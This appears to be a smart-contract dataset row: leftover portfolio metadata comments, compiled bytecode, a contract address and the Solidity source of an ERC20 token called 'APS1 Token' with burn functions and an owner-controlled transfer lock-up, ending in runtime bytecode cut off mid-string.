// < PerqgA39O63xfo1qP842v744HBRR8I3ZPa5JQN0xB0G9YHbMXG897gkMSaA0vZgb >
// < u =="0.000000000000000001" : ] 000000222445116.792987000000000000 ; 000000240571321.416899000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 >
// < TEL_AVIV_Portfolio_I_metadata_line_14_____FRUTAROM _20250515 >
// < RdSXlRCaEtcDF1727L6xtMdDC2WORVvz7sI7RnJnA39Tl117pK0gq4D3i82uQE9C >
// < u =="0.000000000000000001" : ] 000000240571321.416899000000000000 ; 000000258189029.872720000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 >
// < TEL_AVIV_Portfolio_I_metadata_line_15_____GAZIT_GLOBE_20250515 >
// < 27TBh06Bszj78ZcdiT87Hp53D40JZ751A6vQss7Wl3XW1vLDBM4WSmFBt6BC4O53 >
// < u =="0.000000000000000001" : ] 000000258189029.872720000000000000 ; 000000276687263.860035000000000000 ] >
// < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 >
// < TEL_AVIV_Portfolio_I_metadata_line_16_____HAREL _20250515 >
// < l7cMaDIyH9voimUI5C7b4bGTPAe50GVv4d14UE2HL6hEy348cNOVA8DD3Q3Y69M3 >
// < u =="0.000000000000000001" : ] 000000276687263.860035000000000000 ; 000000294500249.648784000000000000 ] >
// < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 >
// < TEL_AVIV_Portfolio_I_metadata_line_17_____ICL _20250515 >
// < 9pGa1O155E82V7422dF36bV1r3i4di7r9hJ8nEInR7g1dkPpCHi0e2044n0Y2g7p >
// < u =="0.000000000000000001" : ] 000000294500249.648784000000000000 ; 000000312679698.426715000000000000 ] >
// < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 >
// < TEL_AVIV_Portfolio_I_metadata_line_18_____ISRAEL_CORP_20250515 >
// < N7sMQY3iYClCpoaqj0VXcqG7vh4TV6sM17Ia9hZ12qyVhi7hyKNz49Y25BT83KTq >
// < u =="0.000000000000000001" : ] 000000312679698.426715000000000000 ; 000000331644577.869794000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 >
// < TEL_AVIV_Portfolio_I_metadata_line_19_____ISRAMCO_L_20250515 >
// < KAR4a8o13W2EImz48TrqPXC65HR0mAoMI46oTuKRUtmNzYhD3vw1Tg67l8MB8i5J >
// < u =="0.000000000000000001" : ] 000000331644577.869794000000000000 ; 000000350635907.896545000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A >
// < TEL_AVIV_Portfolio_I_metadata_line_20_____LEUMI _20250515 >
// < iVYLX93OIHoWFVO1x7RiPOY67el3u2ptlNqM94bq1Xn5MEkrmE0NXfqaXZ0y2AC6 >
// < u =="0.000000000000000001" : ] 000000350635907.896545000000000000 ; 000000369859250.253827000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEL_AVIV_Portfolio_I_metadata_line_21_____MAZOR_ROBOTICS_20250515 >
// < sJ9UoYpZPcY14IX21x70aO2q59cRIN5uz577tn5vrUE8jxMXWUuLw5YwFH74fQDs >
// < u =="0.000000000000000001" : ] 000000369859250.253827000000000000 ; 000000387943952.211727000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB >
// < TEL_AVIV_Portfolio_I_metadata_line_22_____MELISRON _20250515 >
// < K2Nrxb9HX07TV4YTYY5f1bR90omNThX9ZS30EnTXUZYQ8kZKfrnUBdGj0236SPvq >
// < u =="0.000000000000000001" : ] 000000387943952.211727000000000000 ; 000000405845119.799501000000000000 ] >
// < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 >
// < TEL_AVIV_Portfolio_I_metadata_line_23_____MIZRAHI_TEFAHOT_20250515 >
// < Y7NKM4oYfIes0b5N3uOTY9A9SK5ZQhsobCC13wwdnggwyp0eir6x1BgKce404g33 >
// < u =="0.000000000000000001" : ] 000000405845119.799501000000000000 ; 000000425207150.359787000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 >
// < TEL_AVIV_Portfolio_I_metadata_line_24_____NICE _20250515 >
// < 00Q9lv13hz4Q43V6K91819NPTfJ34P2aBxdP3RwbfIcGWPCCa94S452eYU2vvY93 >
// < u =="0.000000000000000001" : ] 000000425207150.359787000000000000 ; 000000443638670.015076000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 >
// < TEL_AVIV_Portfolio_I_metadata_line_25_____OPKO_HEALTH_20250515 >
// < IGt8ZuET1bzI33O0Aod8PC9J8s2Bh774uP86eZzszV9dhp9364DCVzriQX707Grw >
// < u =="0.000000000000000001" : ] 000000443638670.015076000000000000 ; 000000462727999.422327000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A >
// < TEL_AVIV_Portfolio_I_metadata_line_26_____ORMAT_TECHNO_20250515 >
// < t9qs6eu9iI16t6pSMTJXIvXjr72XV3MzqVkVDUhAtsUXRUNQwbwPlGvdZx3C0pD4 >
// < u =="0.000000000000000001" : ] 000000462727999.422327000000000000 ; 000000481836043.392780000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 >
// < TEL_AVIV_Portfolio_I_metadata_line_27_____PARTNER _20250515 >
// < cFzcr98G860f94ZPBHozwIqWpnbmjBAGnbh249Wa8072T6d02D8V2328XY14k5Pz >
// < u =="0.000000000000000001" : ] 000000481836043.392780000000000000 ; 000000499388176.606323000000000000 ] >
// < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 >
// < TEL_AVIV_Portfolio_I_metadata_line_28_____PAZ_OIL_20250515 >
// < u67mL5I1C3u7Cr1nt1iJYUTjYKi02NpuRz4750T54YXr6y5Xf2G56j20BH23NkJ8 >
// < u =="0.000000000000000001" : ] 000000499388176.606323000000000000 ; 000000518439335.856793000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 >
// < TEL_AVIV_Portfolio_I_metadata_line_29_____PERRIGO _20250515 >
// < kAVq1HNl7tsuoevn67uG4jL5lSw6tT0i9I8XL98BVFRLXiitiIN5xlGPF6Be2QIu >
// < u =="0.000000000000000001" : ] 000000518439335.856793000000000000 ; 000000536742138.180214000000000000 ] >
// < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 >
// < TEL_AVIV_Portfolio_I_metadata_line_30_____PHOENIX _20250515 >
// < AQW8ARHKtf818T0YMzMhVpqLb788u4tK9Aqc86gW4spm8YvL45zyhl66DMG30IF3 >
// < u =="0.000000000000000001" : ] 000000536742138.180214000000000000 ; 000000555334212.329979000000000000 ] >
// < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEL_AVIV_Portfolio_I_metadata_line_31_____POALIM _20250515 >
// < f4H758r9V6be98OFP2x7neD55Z3V9Ie66f56oLULBS0LMCMU3h6u5Vam20X2w83L >
// < u =="0.000000000000000001" : ] 000000555334212.329979000000000000 ; 000000573536940.450021000000000000 ] >
// < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 >
// < TEL_AVIV_Portfolio_I_metadata_line_32_____SHUFERSAL _20250515 >
// < 7rMK6GLEfMVPM274fZxcG0zNqEjderhmDZa63WcW132D3Zj21Uw0h7bjXJY5jYMW >
// < u =="0.000000000000000001" : ] 000000573536940.450021000000000000 ; 000000592313516.674927000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E >
// < TEL_AVIV_Portfolio_I_metadata_line_33_____SODASTREAM _20250515 >
// < jsSO3IlqmR45K7zLl0jKP69LNm9n84d7UDPTXX6W985aK925v04y5zU6V580deVN >
// < u =="0.000000000000000001" : ] 000000592313516.674927000000000000 ; 000000611688290.442397000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 >
// < TEL_AVIV_Portfolio_I_metadata_line_34_____STRAUSS_GROUP_20250515 >
// < 7yE0x3Hr98E5aHfp7jWwp1AH87arMK58ry1cVDbtJ3Z50GzUr3Cc6m6b41Rlwwg4 >
// < u =="0.000000000000000001" : ] 000000611688290.442397000000000000 ; 000000631157094.412311000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 >
// < TEL_AVIV_Portfolio_I_metadata_line_35_____TEVA _20250515 >
// < 6i69PE1EOqZ2un5fyb834C63UF0oGnQdTFX693ek6vPq0Wa5Cw194AxfYP9BMr1f >
// < u =="0.000000000000000001" : ] 000000631157094.412311000000000000 ; 000000649577307.310899000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 >
// < TEL_AVIV_Portfolio_I_metadata_line_36_____TOWER _20250515 >
// < gKi8Kgw9NQE0ghOal17YsRo1l2SE47dtu67q1cBGEUJO40UvU9Yv3qP72M8SV7mt >
// < u =="0.000000000000000001" : ] 000000649577307.310899000000000000 ; 000000668731259.517109000000000000 ] >
// < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 >
// < TEL_AVIV_Portfolio_I_metadata_line_37_____COHEN_DEV_20250515 >
// < cC379go9SA28qZ1GaBx0MkadkwkLJhDE2AZLr7k11egcHgf25mTEwoxd3CId5URW >
// < u =="0.000000000000000001" : ] 000000668731259.517109000000000000 ; 000000687658398.724933000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 >
// < TEL_AVIV_Portfolio_I_metadata_line_38_____DELEK_ENERGY_20250515 >
// < OL0Y4u7kGf98F1zT80O4zKc3sxF0sDVIi7kHXB2B4jVWz8x080Cvp30d7s4WvQpx >
// < u =="0.000000000000000001" : ] 000000687658398.724933000000000000 ; 000000705378984.161863000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 >
// < TEL_AVIV_Portfolio_I_metadata_line_39_____NAPHTHA_20250515 >
// < 60Owc7UEulNfIT20lH401ymd247169472NzdmS61nqjKr4I63298h29KhBa4c6W4 >
// < u =="0.000000000000000001" : ] 000000705378984.161863000000000000 ; 000000724119873.300513000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 >
// < TEL_AVIV_Portfolio_I_metadata_line_40_____TAMAR_20250515 >
// < JVnIW5Y9Fdfr8Hp9eR76v5po1N41QvJb934Q1x8iahU88RBV9Pz9z597fnq4Lof8 >
// < u =="0.000000000000000001" : ] 000000724119873.300513000000000000 ; 000000742949791.335499000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820a0157e0a5d0775ffba865f0c1bfa25783697e8b99c3cc4222ec53817f79a72570029
|
{"success": true, "error": null, "results": {}}
| 7,907 |
0x708400c5B44cD5B3517f0cDdE21C62BeF5a7eb18
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
/**
* @title Burnable
*
* @dev Standard ERC20 token
*/
contract Burnable is StandardToken {
using SafeMath for uint;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint value);
function burn(uint _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) public returns (bool success) {
require(_from != 0x0 && _value > 0 && balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_to != 0x0); //use burn
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_to != 0x0); //use burn
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title MyToken
*
* @dev Burnable Ownable ERC20 token
*/
contract MyToken is Burnable, Ownable {
string public constant name = "APS1 Token";
string public constant symbol = "APST1";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 1 ether;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false; //false: lock up, true: free
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
transferAgents[msg.sender] = true;
releaseAgent = msg.sender;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
function release(bool releaseState) onlyReleaseAgent public {
released = releaseState;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) public onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) public onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
|
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461014d57806306fdde0314610175578063095ea7b3146101ff57806318160ddd1461023757806323b872dd1461025e57806327e235e31461028857806329ff4f53146102a95780632ff2e9dc146102ca578063313ce567146102df578063324536eb1461030a57806342966c681461031f5780635c65816514610337578063661884631461035e57806370a082311461038257806372a4d94b146103a357806379cc6790146103bd578063867c2857146103e15780638da5cb5b1461040257806395d89b41146104335780639613252114610448578063a9059cbb1461045d578063d1f276d314610481578063d73dd62314610496578063dd62ed3e146104ba578063f2fde38b146104e1575b600080fd5b34801561015957600080fd5b50610173600160a060020a03600435166024351515610502565b005b34801561018157600080fd5b5061018a610574565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c45781810151838201526020016101ac565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b50610223600160a060020a03600435166024356105ab565b604080519115158252519081900360200190f35b34801561024357600080fd5b5061024c610611565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610223600160a060020a0360043581169060243516604435610617565b34801561029457600080fd5b5061024c600160a060020a036004351661066b565b3480156102b557600080fd5b50610173600160a060020a036004351661067d565b3480156102d657600080fd5b5061024c6106f3565b3480156102eb57600080fd5b506102f4610703565b6040805160ff9092168252519081900360200190f35b34801561031657600080fd5b5061024c610708565b34801561032b57600080fd5b5061022360043561070e565b34801561034357600080fd5b5061024c600160a060020a0360043581169060243516610737565b34801561036a57600080fd5b50610223600160a060020a0360043516602435610754565b34801561038e57600080fd5b5061024c600160a060020a0360043516610843565b3480156103af57600080fd5b50610173600435151561085e565b3480156103c957600080fd5b50610223600160a060020a03600435166024356108a4565b3480156103ed57600080fd5b50610223600160a060020a03600435166108cf565b34801561040e57600080fd5b506104176108e4565b60408051600160a060020a039092168252519081900360200190f35b34801561043f57600080fd5b5061018a6108f3565b34801561045457600080fd5b5061022361092a565b34801561046957600080fd5b50610223600160a060020a036004351660243561093a565b34801561048d57600080fd5b5061041761098c565b3480156104a257600080fd5b50610223600160a060020a036004351660243561099b565b3480156104c657600080fd5b5061024c600160a060020a0360043581169060243516610a34565b3480156104ed57600080fd5b50610173600160a060020a0360043516610a5f565b600354600160a060020a0316331461051957600080fd5b60045460009060a060020a900460ff161561053357600080fd5b600160a060020a038316151561054857600080fd5b50600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b60408051808201909152600a81527f4150533120546f6b656e00000000000000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600454600090849060a060020a900460ff168061064c5750600160a060020a03811660009081526005602052604090205460ff165b151561065757600080fd5b610662858585610af4565b95945050505050565b60006020819052908152604090205481565b600354600160a060020a0316331461069457600080fd5b60045460009060a060020a900460ff16156106ae57600080fd5b600160a060020a03821615156106c357600080fd5b506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b033b2e3c